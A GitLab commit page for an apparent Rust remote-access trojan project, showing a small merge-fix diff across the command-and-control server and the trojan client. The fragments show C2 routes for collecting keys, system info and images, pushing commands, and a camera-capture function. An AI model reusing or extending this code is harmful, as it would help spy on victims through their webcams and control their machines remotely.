Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
rust-proj
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
leo.muff
rust-proj
Commits
dae2696f
Commit
dae2696f
authored
1 year ago
by
leo.muff
Browse files
Options
Downloads
Patches
Plain Diff
fixing merge
parent
3937a4f4
No related branches found
No related tags found
No related merge requests found
Changes
4
Show whitespace changes
Inline
Side-by-side
Showing
4 changed files
Cargo.lock
+0
-1
0 additions, 1 deletion
Cargo.lock
c2/src/main.rs
+0
-4
0 additions, 4 deletions
c2/src/main.rs
c2/src/routes.rs
+1
-1
1 addition, 1 deletion
c2/src/routes.rs
rat/src/camera.rs
+1
-1
1 addition, 1 deletion
rat/src/camera.rs
with
2 additions
and
7 deletions
Cargo.lock
+
0
−
1
View file @
dae2696f
...
@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
...
@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
name = "c2"
name = "c2"
version = "0.1.0"
version = "0.1.0"
dependencies = [
dependencies = [
"chrono",
"rocket",
"rocket",
"rocket_dyn_templates",
"rocket_dyn_templates",
"rocket_sync_db_pools",
"rocket_sync_db_pools",
...
...
This diff is collapsed.
Click to expand it.
c2/src/main.rs
+
0
−
4
View file @
dae2696f
...
@@ -38,15 +38,11 @@ fn rocket() -> _ {
...
@@ -38,15 +38,11 @@ fn rocket() -> _ {
// load rocket
// load rocket
let
build
=
rocket
::
build
()
.attach
(
DbConnection
::
fairing
())
.attach
(
Template
::
fairing
());
let
build
=
rocket
::
build
()
.attach
(
DbConnection
::
fairing
())
.attach
(
Template
::
fairing
());
println!
(
"Connecting to database ..."
);
println!
(
"Connecting to database ..."
);
<<<<<<<
c2
/
src
/
main
.rs
build
.mount
(
"/"
,
routes!
[
home
,
post_key
,
get_json_keys
,
get_html_clients
,
post_systeminfo
,
post_new_command
,
get_json_commands
,
post_command
,
get_new_commands
,
post_image
])
=======
build
.mount
(
"/"
,
build
.mount
(
"/"
,
routes!
[
home
,
post_key
,
get_json_keys
,
get_html_clients
,
routes!
[
home
,
post_key
,
get_json_keys
,
get_html_clients
,
post_systeminfo
,
post_new_command
,
get_json_commands
,
post_systeminfo
,
post_new_command
,
get_json_commands
,
post_command
,
get_new_commands
,
get_delete_command
post_command
,
get_new_commands
,
get_delete_command
])
])
>>>>>>>
c2
/
src
/
main
.rs
.mount
(
"/static"
,
FileServer
::
from
(
"c2/templates/static"
))
.mount
(
"/static"
,
FileServer
::
from
(
"c2/templates/static"
))
.mount
(
"/client/data"
,
FileServer
::
from
(
"./data"
))
.mount
(
"/client/data"
,
FileServer
::
from
(
"./data"
))
.register
(
"/"
,
catchers!
[
not_found
,
internal_error
])
.register
(
"/"
,
catchers!
[
not_found
,
internal_error
])
...
...
This diff is collapsed.
Click to expand it.
c2/src/routes.rs
+
1
−
1
View file @
dae2696f
use
rocket
::
form
::
Form
;
use
rocket
::
form
::
Form
;
use
rocket
::{
get
,
post
,
Data
};
use
rocket
::{
get
,
post
};
use
rocket
::{
State
,
http
::
Status
,
serde
::
json
::
Json
,
response
::
status
};
use
rocket
::{
State
,
http
::
Status
,
serde
::
json
::
Json
,
response
::
status
};
use
std
::
sync
::
Mutex
;
use
std
::
sync
::
Mutex
;
use
crate
::
backup
::{
DataFile
,
DataType
};
use
crate
::
backup
::{
DataFile
,
DataType
};
...
...
This diff is collapsed.
Click to expand it.
rat/src/camera.rs
+
1
−
1
View file @
dae2696f
...
@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
...
@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
let
mac_address
=
get_mac_address
()
let
mac_address
=
get_mac_address
()
.map_err
(|
_e
|
io
::
Error
::
from_raw_os_error
(
1
))
?
;
.map_err
(|
_e
|
io
::
Error
::
from_raw_os_error
(
1
))
?
;
let
params
=
dev
.params
()
?
;
let
_
=
dev
.params
()
?
;
//println!("Active device parameters:\n{}", params);
//println!("Active device parameters:\n{}", params);
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment